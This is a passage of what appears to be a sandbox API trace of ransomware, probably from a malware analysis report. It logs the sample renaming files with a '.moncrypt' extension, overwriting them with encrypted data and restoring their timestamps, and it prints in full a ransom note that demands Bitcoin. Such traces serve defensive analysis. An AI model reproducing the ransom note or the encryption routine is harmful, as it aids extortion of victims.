CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.251] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 76 [0051.252] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0051.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\CONCRETE\\PREVIEW.GIFp", lpUsedDefaultChar=0x0) returned 4 [0051.252] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0051.252] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.252] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.252] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.252] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.252] GlobalUnlock (hMem=0x440004) returned 0 [0051.252] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.252] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.252] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.252] GlobalUnlock (hMem=0x440004) returned 0 [0051.252] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.252] GlobalUnlock (hMem=0x44000c) returned 0 [0051.252] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.252] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0051.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0051.253] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0051.253] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0051.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0051.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0051.253] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.253] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.253] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0051.254] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0051.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.moncrypt")) returned 1 [0051.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.255] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.255] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6fb3 [0051.255] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0051.255] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0051.257] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.257] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.257] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.257] GlobalUnlock (hMem=0x440004) returned 0 [0051.257] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0051.257] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.257] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.257] GlobalUnlock (hMem=0x440004) returned 0 [0051.257] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.257] GlobalLock (hMem=0x440004) returned 0x55bb88 [0051.257] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.257] GlobalUnlock (hMem=0x44000c) returned 0 [0051.257] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0051.257] GlobalUnlock (hMem=0x440004) returned 0 [0051.257] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.257] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.257] GlobalUnlock (hMem=0x440004) returned 0 [0051.257] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0051.257] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.257] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.257] GlobalUnlock (hMem=0x440004) returned 0 [0051.257] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0051.258] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0051.258] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0051.258] SetFilePointer (in: hFile=0x18c, lDistanceToMove=28595, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6fb3 [0051.258] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0051.258] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0051.258] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0051.269] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0051.269] CloseHandle (hObject=0x18c) returned 1 [0051.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.270] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0051.270] CloseHandle (hObject=0x18c) returned 1 [0051.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0051.271] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0051.271] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.271] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.271] GlobalUnlock (hMem=0x440004) returned 0 [0051.271] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.271] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.271] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.271] GlobalUnlock (hMem=0x440004) returned 0 [0051.271] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.271] GlobalUnlock (hMem=0x44000c) returned 0 [0051.271] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0051.271] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc96440, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3fc96440, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fcbc5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0051.271] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0051.271] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0051.271] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0051.272] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0051.272] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0051.272] CloseHandle (hObject=0x18c) returned 1 [0051.272] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0051.272] GetLastError () returned 0x12 [0051.272] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0051.273] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.273] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.273] GlobalUnlock (hMem=0x44000c) returned 0 [0051.273] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.273] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.273] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.273] GlobalUnlock (hMem=0x44000c) returned 0 [0051.273] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.273] GlobalUnlock (hMem=0x440004) returned 0 [0051.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fcbc5a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fcbc5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.273] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.273] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.273] GlobalLock (hMem=0x440004) returned 0x550170 [0051.273] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.273] GlobalUnlock (hMem=0x440004) returned 0 [0051.273] GlobalLock (hMem=0x440004) returned 0x550170 [0051.273] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.273] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.273] GlobalUnlock (hMem=0x440004) returned 0 [0051.273] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.273] GlobalUnlock (hMem=0x44000c) returned 0 [0051.273] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.273] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3fcbc5a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3fcbc5a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.273] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.273] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.274] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.274] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.274] GlobalUnlock (hMem=0x44000c) returned 0 [0051.274] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.274] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.274] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.274] GlobalUnlock (hMem=0x44000c) returned 0 [0051.274] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.274] GlobalUnlock (hMem=0x440004) returned 0 [0051.274] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.274] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM.moncrypt", cAlternateFileName="CONCRE~1.MON")) returned 1 [0051.274] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0051.274] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.274] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.274] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.274] GlobalUnlock (hMem=0x440004) returned 0 [0051.274] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.274] GlobalLock (hMem=0x44000c) returned 0x557b88 [0051.274] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.274] GlobalUnlock (hMem=0x440004) returned 0 [0051.274] GlobalHandle (pMem=0x557b88) returned 0x44000c [0051.274] GlobalUnlock (hMem=0x44000c) returned 0 [0051.274] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.274] FindNextFileW (in: hFindFile=0x54e200, 